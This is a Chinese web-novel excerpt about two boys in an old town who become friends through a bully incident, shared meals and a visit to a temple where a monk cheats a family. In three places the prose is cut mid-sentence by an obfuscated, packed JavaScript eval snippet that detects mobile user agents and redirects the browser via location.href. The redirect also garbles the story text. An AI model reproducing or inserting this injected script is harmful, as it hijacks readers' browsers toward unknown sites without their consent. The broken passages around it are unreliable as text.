也有不同意的。宁江巷的祁斌看着潘庆:“事儿不是那么个事儿。你怎么都没和大伙商量一下就跟别人约架……” “那个节骨眼儿上我难道能认怂?”袁昌盛道:“我要是认了,以后谁还拿咱们当回事?都等着挨欺负吧!” 他身后的男生们纷纷附和。看架势大概就是今天非得要去和人茬这个架不可了。 蒋春生抱着球很为难:“可是球场都租好了……” “打个球有兄弟义气重要么?”袁昌盛阴阳怪气:“得了,看出来了,你压根儿不把庆子当兄弟……” 这话可打到了七寸上。哪个男生也不想让同伴觉得自己不讲义气。蒋春生胀红了脸:“我不是这个意思。我就是说,如果大家都不去了,我得赶紧去和球场说一声,而且咱们还得把帐平摊一下……” “要么说你这个人没义气……都这个节骨眼儿上了……” 郑贺很担心:“可是……那伙人什么样啊?咱们万一打不过怎么办啊……” “怎么可能。”袁昌盛立刻道:“咱们人多。再说了……”他看着江晏,激将道:“小江不是学武术的么,这回为了兄弟,说什么可都得上了啊,让他们好好瞧瞧……是吧,小江?” 江晏看着袁昌盛,心里涌起了一股厌烦。但他面上还是挺平静的:“别指望我,都是花架子,不顶用。” 谢浩然终于开了口:“都先别吵了。潘子,你先说,你怎么受气的。” 潘庆不讲话,拿眼睛瞄袁昌盛。 袁昌盛赶紧道:“三十六中那伙人看咱们不顺眼老长时间了,昨天我们去教堂后头那个店里吃炸串儿,他们说店让他们包圆儿了,咱们不走,他们还拿汽水泼人……” 李同顺插嘴:“那个店小的跟麻雀似的,一共就两张桌子,加起来能有六个座位?不是都买完了带走吃么?” “他们欺负人么……” 谢浩然冲潘庆道:“你哪儿伤着么?我瞅着这也没什么事儿啊。” 潘庆嗫嚅几声:“就……让人泼一脸水……” 袁昌盛道:“伤了大伙儿的面子,往后在这片儿怎么混?” “要我说也不是什么大事。”谢浩然道:“这次就算了。下次遇上了,好好说说,说不清楚,再动手不迟,和为贵么。” 袁昌盛有些愤然:“你这话说的……” 谢浩然道:“磊子上学期跟你出去打架,不是刚吃了个警告么。背处分就不好了。兄弟们不是不愿意替你和庆子出头,确实也出头不止一回两回了。你也得替兄弟想想。” 他走过去拍了拍潘庆,叮嘱道:“你受的委屈,我们暂且先记下。下回遇上了,你先给兄弟们指指是哪个。” 潘庆小声嗯了一下。 谢浩然走过去也拍了拍袁昌盛:“知道你心疼小兄弟,但咱们凡事不能只看眼前,得从长计议。咱不惹事,也不怕事。” 袁昌盛不情不愿地闭了嘴。 “行啦。”谢浩然轻快道:“走吧,去体育馆。” 一行人跨上自行车,浩浩荡荡往体育馆去。刚转进长松街路口,就听见有个很尖的童声在叫:“……凭什么!” 江晏脚下急刹,差点把小贺子从后座上甩下去。郑贺赶紧从江晏后座上跳了下来:“咋了咋了?” 他们身边的人也纷纷停下来。有人往巷子里一望,幸灾乐祸道:“小神经惹到硬茬子了。” “那么丁点大也敢惹高年级的……” “哦,就那个新转来的小二椅子吧?”袁昌盛也抻长了脖子看热闹:“啧,他还敢跟陈大霸呲牙,谁给他的胆子啊?” 连一直默不作声的受气包潘庆也津津有味地看起来:“抢他钱呢……给了不就得了……不然还得挨顿揍……” 谢浩然皱了皱眉。 李同顺叹道:“我就说……他这个脾气得吃老鼻子亏了……诶,晏儿?” 江晏已经按着车铃冲过去了。 自行车速度快得像炮弹,裹着疾风,直冲包围着纪天星的野小子们。所有人都惊骂着往外躲,还有摔到地上的。只有纪天星一动不动地站在中间,眼睛睁得大大的。 江晏长臂一伸,把他捞上了自行车车架,飘然一个急拐弯,又冲回了不远处的车队里。留下身后一片骂声。 众人惊呆了。 江晏停下来,把还在发呆的纪天星从车架上放下来,上下看了看他:“没事儿吧?” “没事儿。”纪天星愣了愣,忽然笑了。 “上来。”江晏向后座一甩头。 纪天星二话没说,立刻跨上了江晏的自行车后座,顺便冲那帮抢劫未遂的小混混做了个大大的鬼脸。 “打球带纪天星一个。”江晏对谢浩然道:“成不?” “走吧。”谢浩然答应得很干脆。 车队往体育馆继续前进。有人不满道:“陈大霸要记恨上我们了。” “不能。”李同顺替江晏说话:“咱又没和他们打架。” 郑贺在李同顺车后座上插嘴:“盛哥不是说咱们人多么,不怕的。” “怪拉风的啊你。”袁昌盛对江晏阴阳怪气:“帮谁出头也没见你这么积极。以前喊你打架你也推三阻四不动手……瞧瞧,这不挺能耐的么。” “他个头小,一捞就上来了。”江晏目视前方,连一个眼神都没给袁昌盛:“顺手的事儿。” “你是不是眼瞎,把他当小姑娘了?” 还没等江晏开口,一直没说话的纪天星突然叫起来:“你才眼瞎!你全家都眼瞎!” 江晏差点儿骑了了趔趄,又稳住了。 “你他妈的……江晏!”袁昌盛怪叫道:“你是欠他钱了还是怎么的!咱们不能带他玩儿,我第一个不同意!” “我欠他个人情。”江晏不慌不忙道:“你要是不乐意带他,那我今天不过去也行。” 谁都知道江晏零花钱多又为人大方,往常一大帮人出去玩儿,大部分时间都是他请喝水,有时候还请吃饭。 蒋春生立刻道:“别啊,好不容易凑一块儿,多一个人又不算多。” 祁斌嘻嘻笑着蹬着车凑上来:“留这小孩儿帮咱们捡个球。” 纪天星又要瞪眼,江晏回头看了他一眼,他不情不愿地扭过头,哼了一声。 袁昌盛也在一旁冷哼:“欠什么人情,救命之情啊?” “昨天头晕摔地上了。”江晏坦然道:“纪天星路过,帮了我一把。” 李同顺低声嘟囔:“……难怪了,我说呢……” “还真是救命之情啊……”有人啧声道。 一路都没说话的谢浩然道:“马上到了,大伙儿把车都抬到球馆里头去,别丢了。” 一大帮男孩子锁好了自行车,分伙打蓝球,多的几个留在场边,准备当替补。纪天星个子小,和他们又不熟,只能也坐了板凳,被所有人自动划为了看堆儿的。 他有点儿无趣,觉得很不高兴,而且心里头仍旧有一股火气。因为陈大霸不光想抢他钱,还伸手摸他的脸。纪天星说不清,但他本能地觉得那不光是欺负人,还有让他更生气的东西在。他本来准备狠狠咬那头大野猪一口的,没想到江晏从天而降,一眨眼的功夫就把他捞走了。 唉,仔细想想,被人一把拎起来,也有点儿丢人。纪天星闷闷不乐。 看见江晏过来脱外套,他仰头小声道:“我去找你,你家没人。” “鱼缸碎了,我爸要揍我。”江晏解释道:“我就没回家。” “那你住哪儿啊。”纪天星立刻忘了自己的不高兴:“外头这么冷。” “住庙里。”江晏很自然道。 “骗人。”纪天星不信他。 “真的。”江晏轻声道:“你在这儿歇一会儿吧,等会儿有人换下来,你就上去。” “我不会打球。”纪天星坐在长凳上,两条腿晃荡着,又低落下去。 “没事儿,那你就帮大家看着点儿东西。”江晏道:“我一会儿去买汽水。” 蒋春生喊他:“小江,快点儿啊!干什么呢?” “来了!”江晏应道,回头又叮嘱纪天星:“先别着急走啊,等打完球,我送你回家。” 做什么要你送!我又不是不认路!纪天星又生了闷气。然而江晏已经跑远了。纪天星独自坐在那儿,火气往上窜了一下,又灭了,心里知道江晏完全是好心——谁也说不准陈大野猪是不是还满街转悠着堵他呢。 江晏人真好。纪天星怅然地想,难怪他有这么多朋友。 纪天星在那里安静坐着,不笑也不说话。没过一会儿,就开始有男生凑近,跟他搭话了。有江晏的朋友,也有别的场地过来打球的人。纪天星不想搭理,问什么都嗯嗯嗯的,人家看他爱理不理的,很没趣地走了。但没过多久,又会有人凑上来。 他索性往长椅上一躺,假装睡觉,没想到真的就那么睡过去了。 再醒来时,发现一大群男生正聚在塑料箱子旁说笑。纪天星爬起来,发现身上盖着江晏的外套。看见他醒了,江晏从人堆里抬起头,冲他道:“买汽水了,你喝什么味的?” 纪天星看着别人手里的汽水,想都没想到:“不要有色素的,喝完舌头黄。” “事儿精。”男生里有人听见了他的话,很不屑道。 江晏看上去毫不在意,他在箱子里挑了挑:“那你喝这个荔枝的吧,这个没色素。” 荔枝汽水一股香精味。纪天星只喝了一口,就皱了眉头。他以前都是喝纯果汁的。硬着头皮又喝了两口,实在喝不进去,趁着没人注意,悄悄把汽水藏在身后,想找个机会丢掉。 没想到江晏走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298695|165850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,在他身边坐下,特别自然地把那罐汽水拿起来喝了。 纪天星低了头,手指抠着江晏衣服上的一小块污渍。 袁昌盛看了一眼体育馆的大钟:“快中午了,我说怎么这么饿。你们饿不饿?” “买点儿吃的吧。”那个刚刚说纪天星事儿精的男生道:“我看隔壁那家熏肉大饼挺不错的。” “吃点别的吧……”郑贺微弱道:“那家好贵的……” 没人理他,男生们自顾自地在那儿讨论。 “那就熏肉大饼……”一堆人七嘴八舌:“六十张饼……五斤肉……” “再来点儿黄瓜……应该够了……” “好像不够,怎么也得八十张饼吧,那饼可小了,几口就没了……” 蒋春生道:“走啊,小江,咱俩去。” “行啊。”江晏说:“先凑点钱。我刚刚买饮料花干净了。” 讨论声微弱下去。 袁昌盛立时不高兴了:“你今儿怎么这么不敞亮啊。” “不是不敞亮。”江晏把裤兜翻出来给他看:“瞧,比我脸都干净……哦,还剩一块钱钢蹦儿……就能买两张饼。” “咋突然落魄了?”有人诧异地接话。 “闯祸了呗。”江晏耸耸肩:“爹妈不给零花钱了,估计得穷挺长时间。”他笑了笑:“下回出来玩儿,就得轮到各位接济我了。” 李同顺很同情地拍了拍他:“没事儿,都兄弟,应该的。” 谢浩然道:“这事儿闹的,你刚刚怎么不吭声啊。饮料钱大家和晏儿摊一下吧。” “不用。”江晏摆手:“我下午家里有事儿,这就回去了。”他向纪天星道:“咱俩顺路,一起吧。” 出了体育馆,纪天星在江晏后座上,小声道:“他们是不是每次都喊你请客。” “差不多吧。”江晏听起来不太在意。 “真是讨厌。”纪天星很替他不平:“这算什么朋友。” “酒肉朋友也是朋友嘛。”江晏道:“我要抄近路,你抓稳了。” 自行车开始颠簸,纪天星赶紧抱住他的腰:“你往庙那边拐。” “那儿不是你家的方向吧。” “我奶奶在包子铺干活儿。”纪天星很自然道:“咱俩中午过去吃包子吧。” “你请我啊。”江晏笑了。 “对啊。”纪天星道:“还好零花钱没让陈大野猪抢去。” “野猪……”江晏扑哧一声,自行车又开始走蛇形:“哈哈哈……” “要摔了要摔了!”纪天星尖叫:“看路啊!” 自行车稳下来,江晏还在笑:“不想吃包子,吃点别的吧,我请你。” “你不是没钱了?”纪天星道:“难道你把钱藏起来了?” 江晏不回答他。 “是不是啊?” 江晏还在那儿笑,直接转移了话题:“在体育馆的时候,别人跟你说话,你怎么都不搭理人的。” “不想理。”纪天星气哼哼道:“都是来拿我逗乐子的,没一个好人。” “你不想理,可以不用理。”江晏不笑了:“但有事没事儿的时候,可以和他们凑堆儿,站在一起。” 纪天星琢磨了一下,撅嘴道:“你怕我落单啊。” “落单容易受气。”江晏在树西的一家砂锅居门口停下来,锁上了车。带纪天星走进去。 老板看见他,笑咪咪道:“来啦,吃点儿啥?” 纪天星看着标牌上的价格,拉了拉江晏的衣角,压低了声音:“我兜里钱好像不够……” 江晏拍拍他,从容地对老板道:“今天先赊着,过两天给你。” “没问题。”老板非常痛快。 “好啦。”江晏对着目瞪口呆的纪天星一甩头:“想吃啥,随便点。” 没想到纪天星警觉起来:“你干啥老是对我这么好,说,你是不是想把我卖了?” 江晏顿时愣住了:“啊?我们不是朋友么?” “逗你的。”纪天星打量着他的呆相,若无其事地收回目光:“我要吃番茄牛肉的。” 砂锅和油饼很快端上了桌,还有一小碟酥烂的坛肉。江晏叫了两样油饼,一种是油盐的,另一种是糖饼,中间有一层薄薄的糖心。 纪天星吃了一口,发现江晏在看他,以一种严肃思索的目光。 “你想什么呢。”纪天星又咬了一口饼,外皮很脆,油汪汪的,是他喜欢的那种:“快吃啊,一会儿凉了不好吃了……” “想你刚刚说的话。”江晏正色道:“我只请朋友吃饭。纪天星,我问你,我们算不算是朋友? 他那副样子很有意思,像个大人,又像个特别幼稚的小孩。 纪天星放下筷子,以同样严肃的口吻道:“那你先说说,你为什么对我这么好呢?” 江晏想了想:“我见了你,总是很开心。你脾气不好,可是人挺好的。” 纪天星的脸立刻拉得老长:“我又没冲你脾气不好。你要是嫌我脾气不好,那我们就不要做朋友了。” 江晏抓住了重点:“那在你心里,我们已经是朋友了。” “当然啦。”纪天星匪夷所思地望着他,有点不开心了:“你在想什么啊。” “那你刚刚说……” “都说我在开玩笑啦!”纪天星有点无语:“你快吃饭好不好!” “那你以后不要开这种玩笑。”江晏严肃道:“一点都不好笑。” “好嘛,不讲了。”纪天星软下去,长长地叹了口气,嘟囔道:“你天天想好多,难怪总是吃不下饭。”他把油饼往江晏那边推了推,郑重其事地保证道:“我们是好朋友,我以后再也不乱开玩笑了。还有……”他仰起脸,非常真诚道:“谢谢你今天救了我,还有……”他有点扭捏起来:“还有那罐汽水……” 江晏终于露出了笑容:“别在意,我们是好朋友嘛。” 7.倒春寒 7 那天他们吃完了热腾腾的砂锅油饼,江晏拿裤兜里的最后一块钱钢镚儿给纪天星买了盒草莓酸奶。草莓酸奶里真的有碎草莓,不是香精兑的。纪天星美美地喝着酸奶,决定以后和江晏讲话都慢声细气——当然啦,要是江晏实在惹他生气,那就没有办法了。 不过草莓酸奶喝完,他立刻又开始担心,说你把钱都花完了,又不回家,之后几天怎么办呢?你爸爸什么时候才能消气啊? 于是他把自己的零花钱掏了出来,很大方道:“喏,我奶奶刚给了我二十块,这十块你先拿去用。” 江晏望着他手上的钱,眨了眨眼睛,忽然一笑,终于交了底:“不用,我还有钱的。” 纪天星不信他:“有钱你还赊账?” “那是两码事。” 纪天星理解不了:“你真怪。”他想了想:“那你出门是故意没有带很多钱在身上,对么?”他叹气:“嗯,换了是我,和那样一群人出门,也要说自己没钱的。” 江晏似乎想说什么,最终又没有说,只是低头笑一笑,说你要来庙里看看么? 纪天星立刻又高兴了:“好呀好呀,那庙我路过好几次了,都还没进去过呢!”高兴完了,声音又小下去:“他们收门票钱,一个人要五块呢。”他以前什么都不缺,对钱完全没有概念,反正不管要什么,纪妙菲都会眼睛不眨地买给他。现在他知道了五块钱能买十五个馒头,或者十个烧饼——这些东西够一个人吃好几天了。 江晏安慰道:“不用的,你跟着我就好。” 于是纪天星自此就这么也成了慈安寺的常客——偷偷溜进去的那种。他心里完全不觉得这有什么不对,他只是来找江晏玩儿的。 总之两个人就这么飞快地熟悉起来了,连带着也逐渐熟悉了彼此身边的朋友。 对纪天星来说,学校里的讨厌鬼当然还是有的。但大概是因为放学后不再经常落单,他之后很长时间都并没有再遇上什么麻烦了。听说陈大野猪因为调戏女同学吃了个严重警告,老师联系了家长。平江一霸已经初四了,如果这个节骨眼上被开除,就没法参加中考了。所以在家长的暴揍和老师的威胁下,这位校霸总算是安生了下去。老大偃旗息鼓,他下面的追随者自然也就跟着消停了。校园内外一下子清静了不少。 总之纪天星的新生活虽然不算是完美无缺,但终于基本进入了平静的正轨。像所有普通的小孩一样,他写作业,干家务,休息时出去找朋友玩儿,烦恼仍有,可是也找回了许多无忧无虑。这份无忧无虑和从前并不一样,但纪天星觉得很喜欢。他虽然总是容易生气,可是也同样容易高兴和满足。 老城的春天仍然拖拖拉拉的不肯来。今天气温刚高一点,把青草骗得探了头,明天立刻冷风大作,滴水的树梢重新结上了一层冰壳。 到了四月,江面还是那副半开不开的样子,一半是水,另一半是冰。纪天星觉得热,手套棉裤都换掉了,唯有帽子还戴着——姥姥不让摘,说怕他感冒——姥姥总是怕他冻着。 周末他早早写完了作业,一大清早就熟门熟路地跑到慈安寺后门,找江晏来玩儿。 其实江晏平时也不总是在庙里。根据纪天星观察,他一般只在寺院需要居士们干活的时候才在。大概是因为需要有人干活,和尚们在这样的时候面对外人的存在就会宽容许多。 清明节才过完,马上又是三月三。慈云寺正处在两个大日子的间隙,清净里也透着说不出的忙碌。 江晏正在后院翻菜地。不管眼下是什么情形,天气总归会暖起来的,所以土地要提前翻好,预备着种今年的菜蔬。看见纪天星从角门的铁栅栏缝隙里钻进来,向着菜地跑来,他微微一笑:“你喊我一声啊,我去给你开门。” “用不着。”纪天星得意道:“猫能进来我就能进来。”紧接着又撇嘴:“再说了,万一喊来的不是你,是庙里的和尚可怎么办?上次那个和尚可凶了,我不想他又骂你。” “他也就是骂骂。”江晏毫不在意:“不疼不痒的,也不能怎样。居士哪个不挨骂,骂完了,转脸还不是又要喊我们干活。” 纪天星不明白:“他们自己有手有脚的,怎么不干活,都是你们在干,好累人的。” “说是供养僧人,算是功德。”江晏道:“不过我觉得,我们有点像租客。” 纪天星想了想:“干活抵房租和饭钱?” “对我来说差不多吧。”江晏低头锄地:“天下没有免费的清净嘛。” “我还是觉得哪里不对。”纪天星道。他想不明白,决定不再想了:“你吃饭了没有?” “这就去。”江晏把最后一垄土翻开,锄头立在一旁,拍了拍手:“你去三太奶那儿等我吧。” 三太奶殿门半掩着,里头没有人。纪天星进去了,双手合十拜了拜,熟门熟路地在蒲团上坐下来。神像看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309224|165850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来慈眉善目的,并没有狐狸的耳朵和尾巴,倒像是古装电视剧里那种富贵人家的老太太。不知道为什么,他总是觉得三太奶有点儿像他姥姥何玉秋——大概是因为她们看起来都是那么和善端庄。 纪天星左看右看,心里觉得十分亲切。他挠挠头,从兜里掏出一块奶糖,悄悄塞到了供果的缝隙里。 江晏很快就回来了,手里端着两只很大的碗,一只碗里是粥,另一只碗里是白胖的大包子。他问纪天星要不要吃。庙里的包子都是素馅的,纪天星吃过一次,不太喜欢,于是摇头。江晏就笑一笑,自己坐下来开始吃饭。 其实江晏的朋友们以前都来过慈安寺,但后来都因为各种原因不再进来了。 就算是封建迷信这种东西,家家信的也不太一样。比如赵秀英就觉得寺庙什么都好,进门就是功德。而谢浩然家里觉得人没事不能进庙,容易招惹不干净的东西。 江晏其他关系亲近的朋友之中,祁斌家里信唯物主义,坚决反对一切怪力乱神。李同顺和郑贺家里呢,属于有需要时信一下,没需要时就算了。而且郑贺也不知道是什么缘故,只要一进庙墙之内,回家必然发烧生病,所以他每次来找江晏,都只能站在庙墙外头。 至于李同顺,他倒是身强体壮百无禁忌的,可是他之前来这边玩儿的时候打翻过罗汉堂的香炉,烧坏了两个蒲团。监院很生气,再也不许他进庙门了。 倒是纪天星每次来都挺顺当的——大部分时候和尚都不在,即便在,也总是因为各种原因和他擦肩而过,压根儿没注意到这么个小孩子。 江晏把朋友们的那些事和纪天星讲了,纪天星就很得意地说,肯定是菩萨喜欢我。 江晏觉得好像确实是这个道理。 纪天星坐得腿麻,很快跳起来,开始在在殿里走来走去,东看看,西看看。 院子里只剩下一点残雪了,青砖都露出来,砖缝里生了小草。空气仍是冷的,但冷得很清爽,没有那么重的寒意了。 江晏一口气吃完了七个大包子,把粥也喝干净了。他满足地舒了一口气,回头正看见纪天星在那里摇签筒玩儿。 签桶掉出来了好几只签,江晏捡起来看,不是上中签,就是上上签。 纪天星很开心:“瞧,都是好签。” 江晏也很惊奇:“你求了什么呀?” 纪天星摇头:“我什么都没求呀,摇着玩儿的。” 8.倒春寒 8 “不求点什么,怪可惜的。”江晏又笑。 “为什么?” “因为好签总是难求嘛。”江晏道:“不信你数数,整个签桶里就三支上上签,上中签也很少。” 纪天星把签桶收拾好了放回去:“可我没什么想求的呀。”他想了想:“嗯,我妈来电话,说她最近挺好的。我姥姥也挺好的,我也挺好的,你也挺好的……大家都挺好,就不麻烦神仙了。” 金宝珍和江显声最近忙着赚钱,没有吵架,江晏又不缺零花钱了。 确实算挺好了。 江晏点点头:“也是呢。”他收拾好了碗筷,准备送回斋堂去,纪天星陪他一起。 清早庙里人少的时候最好,哪里都好看,哪里都有意思。认识江晏以前,纪天星没进过庙门,寺庙对他来说是个只存在于电视里的地方,充满了神仙菩萨,武林高手和得道高僧。 现在他常常来了,发现庙里和他想的完全不一样,并没有许多神秘厉害的人和东西。但他仍然觉得一切都很有意思,看什么都兴致勃勃。 送完了碗筷,江晏却没带纪天星回后院,而是领他顺着斋堂外的长廊往前院走,到放生池去看鱼——最近那里的冰化了,寺里把冬天养在屋里的锦鲤放了回去。 两个小少年蹲在放生池边上看锦鲤,江晏把从斋堂顺来的半个干馒头一分为二,和纪天星一人一块,在池边喂鱼。一个年纪很大的居士步履蹒跚地路过,看见他们,笑眯眯地:“呦,小童子又来啦?” 江晏难得扭头反驳道:“不是小童子,是我朋友。” 纪天星笑眯眯道:“奶奶早上好,奶奶吃饭了么?” “哦呦,吃了的吃了的。最近法事多,你们在庙里玩儿,可千万别冲撞了菩萨。”老太太随口叮嘱,说完又住着拐杖走了。 “我有名字呀。”纪天星小声对江晏道:“她为什么每次都叫我小童子。” “她乱说的。”江晏严肃道:“你别听。”他看向放生池旁的槐树:“瞧,有小花鼠。” 纪天星撇了撇嘴,顺着他的目光望去,竟然真的看到了小花鼠——那毛茸茸的小东西拖着大尾巴飞速窜到高处,正低头看着他们。纪天星立刻把刚刚的事忘记了,开心得不得了:“哇,上次来还没看见呢!” 他立刻从池边跳起来,跑到大树下看小花鼠去了:“我有花生!它吃么!” “它怕人的,一般不会下来。”江晏道。 小花鼠顺着树枝窜到了大殿屋檐上,纪天星追着它。它一会儿消失,一会儿出现,很快窜进药师殿的屋檐里,彻底不见了。 纪天星也不失望,他站在药师殿门口,对不慌不忙走过来的江晏道:“它好可爱呀。” 江晏又笑:“寺里有好多,等天气暖了,每棵树上都有。” “真好。”纪天星愉快道,抬腿迈进了药师殿,然后又趴在门口,双手抱住门框,晃来晃去地往外张望。 庙门开了,前院儿的香炉又烧起来了,白烟在空气里飘荡。香客们在烟雾后面,来来往往,虔诚敬香。 香都是要花钱买的,有便宜的,也有贵的。但总的来说,都不能算是很便宜。三根最细的线香也要五块,而普通人一个月工资也就几百块。 纪天星看着那边鞠躬点香的人,小声道:“庙里肯定很有钱。” “是呢。”江晏点头,抬头看着药师殿墙壁上密密麻麻供奉的那些长生禄位。 纪天星回头,也看见了:“最中间的那一排可真好看,都是金底雕花的……上头那个也好看,顶上画着莲花呢。前些天有个阿姨来,给她女儿供的就是那个。” “哪个都不便宜。”江晏道:“按年收费,一年得花不少钱。” “阿姨说她女儿病了。”纪天星还在自顾自说这那天的事:“她从乡下带女儿过来看病的,说城里的医院好一些,庙也灵验一些……” “医院肯定是好一些。”江晏还想说什么:“至于庙……” 纪天星忽然探头往外看:“哎呀,有和尚过来了。好像是上次骂过你的那个……”他转了转眼睛,拉住江晏的衣服:“躲起来躲起来……” 江晏无奈地跟着他,绕到了旁边一尊佛像后面去。 他们从佛像后面的昏暗中悄悄探出头,看见那个馒头脸的胖和尚跨进来,肩膀上夹着大哥大,一边嗯嗯地答应着什么,一边拿过纸笔,在大殿旁的桌子上飞速记录。 “好好好都记下来了,这就供上去……最好的位置……放心哈……” 放下大哥大,他从角落里抬出一架木头梯子,带着那张纸笺爬了上去,挨个打量墙上的牌位,最终拿下来某个带莲花的,把新纸笺换上去,旧的在手里团成一团,咻地丢进了大殿角落的垃圾桶——比蒋春生投篮还准。 牌位又被放回了原位。 和尚拍拍手,把梯子搬回去,拎起大哥大,若无其事往外走。 纪天星怒气冲冲从佛像后面跳了出去,又被江晏眼疾手快地捂住嘴一把拖了回去。 和尚毫无察觉地离开了。 江晏压低声音道:“你干什么!” “他换的是那个阿姨给她女儿立的牌位!”纪天星很生气,可也还是跟着压低了声音:“不是说好供一年么,怎么才几天就换掉了!大骗子!” “可能想私下里多赚一份钱。”江晏道:“你没看错么?” “我记性好着呢!”纪天星挣脱江晏,跑到垃圾桶那里拿出了揉皱的纸团展开:“你看!日期就是那一天,名字也没错!我在边上看着阿姨写的!” 江晏走过去,看见了黄笺上的字,倒很淡然:“这种事哪里都有的,不值得你生气。” “满墙都是牌位,干嘛非挑她的?”纪天星兀自不平。 “可能觉得人家是外县的,一时半刻不会再进城来,也就不会发现吧。” 纪天星道:“那不就是欺负人么!”他扭头冲菩萨道:“你就在那儿看着,也不管管!” 江晏立时哭笑不得:“你可不要去踢菩萨,那个塑像贵得很,踢坏了赔不起。” 纪天星气鼓鼓地站在那儿,突然眼睛一转,拉开桌子抽屉,从里头抽出一张空白的黄笺,拿起了笔。 江晏沉默片刻,向外瞥了一眼,小声道:“别在这儿写,让人看见了。” 纪天星于是蹲到了桌子后面——有拖地的黄桌布挡着,进来拜佛的人就瞧不见他了。 他拖着一手狗爬字,很快重新写好了那张长生笺。抬头一看,江晏已经把梯子摆好了。 纪天星赶紧爬到顶上,飞快地把写好的纸笺换上去,而替换下来的那张,被他夹在了下面一个空白的牌位里。 做完这些,他轻巧地从梯子上一跃而下,和江晏一起把梯子推回去了。 至于揉皱的那团纸,被江晏借着香火点燃,和香灰落在了一起。做完这些,他向着殿门外望了一圈儿,拉着纪天星若无其事地离开了。 两个小少年继续在寺院里东游西晃,一会儿这里探头,一会儿那里瞧瞧。路上遇见老居士拉着平板车往斋堂送大户供养的水果,顺手帮忙推了车,得到了两个又大又红的苹果。他们在斋堂门口把手和苹果都洗干净,一边啃着冰冰凉的苹果,一边又溜达回了前院儿。 法物流通处开了门,江晏便带着纪天星进去看新鲜。屋子里亮堂堂的,玻璃柜台底下垫着红丝绒布,上头放着各式各样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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庙里这会儿人已经很多,空气开始变得呛人。纪天星窥见江晏的神色,小声道:“你爸爸……是不是没把手串给你?” “他在外头有情人。”江晏黯然道:“肯定是拿去给那个女的了。” 纪天星安慰道:“没事的,你别难过,我爸也有情人,好多呢。” 两人面面相觑。江晏似乎一时丧失了表达能力:“……这是什么,可以拿来比的事么……” “哎呀,我就是想说,这根本没什么。”纪天星很笃定道:“所以你不要难过,让你妈妈也不要难过。说不定哪天他就被情人把腿打断了呢。” 江晏茫然:“打断腿?” “嗯。”纪天星从口袋里掏出两颗糖,一颗递给江晏,另一颗剥开塞进自己嘴里,轻快道:“我妈就把我爸腿打断啦!” 江晏张口结舌,半晌,才终于长叹一口气,自言自语道:“我家……应该也差不多……” “所以说呀,你不是一个人嘛。”纪天星道:“别想了,吃糖呀!” 江晏剥开糖纸,刚把糖放进嘴里,眉头就皱起来:“好酸!” “柠檬糖!”纪天星嘻嘻笑:“一会儿就好吃了。” 江晏含了一会儿,眉头舒展开:“里头是甜的……” “是吧,我不骗你。”纪天星看着越来越多的香客,小声道:“人多起来了,我们找个人少的地方玩儿吧……你上回不是说,这附近有卖小吃的么?我们买点东西吃吧。” “有呀。”江晏含着糖点头,随即有些不解道:“你才吃了苹果的……” “那个又不顶饿!”纪天星立刻反驳。 他个头小小的,年纪也不大,胃口却好得很,也不知道吃下去的东西都到哪儿去了。但一个长身体的小孩子,喊起饿来是很理直气壮的。 江晏看着他,脸上的郁气散了,露出一个很浅的笑来:“那我们到后街去吧。” 9.倒春寒 9 兜了一大圈儿,两个人又来到了慈云寺后面。 后街向来是有些冷清的,和寺庙的后院一样。最近人倒是多了些,许多铺子的门都大开着,有些店铺会用录音机放些唱经声。可大概因为是做这类的生意,往来的人都不会大声喧哗,所以那些唱经声仍把这里衬得很安静。 赵秀英的香烛铺子门开着,江晏远远看见大姑江显缘坐在里头,正在叠金元宝。奶奶不在,大概又跑到哪个庙里去了。进庙不光是为了功德,也是为了生意。香烛总得要有人买,而买香烛最多的人,大概就是常常进出寺庙的那些人了。 纪天星很好奇地往那些店铺里看,江晏却什么都没说,只是带着他走了过去。路上素斋饭店倒是有几家,但这会儿都还关着门,并没有做生意的意思。 拐进侧面的那条街,周围渐渐就热闹起来了。人行道上开始有人摆摊卖旧物旧书,两边店铺都是些卖古玩字画,刻章装裱的。再往前走一段路,扑面而来就全是叫卖声了——那是庙后的农贸市场。 街上好像一下子就变得拥挤了,同样是烟雾弥漫的,这边的空气里却都是木柴和食物的味道。 因为怕人多走丢了,江晏一拐进来时就牵住了纪天星的手。可真的进了市场,却变成了纪天星拽着江晏在走——他一会儿往这个摊位前钻一下,一会儿又往那个摊位前钻一下,兴致勃勃,连喘气的时间都没给江晏留下。 可以吃的东西实在是太多了,纪天星很快就看花了眼,露出一点苦恼的神色来:“不知道要吃什么……我只想买个零嘴儿……” “那就去五心斋吧。”江晏想了想:“它家素丸子在这附近最有名。” 五心斋在市场尽头,是个素斋馆子,但卖的不是饭菜,居然是素烧烤和素丸子。大上午的,门口已经排起了老长的队。 江晏问纪天星吃什么,准备去买。没想到纪天星小手一挥,十分豪爽道:“今天我请你!随便点!” 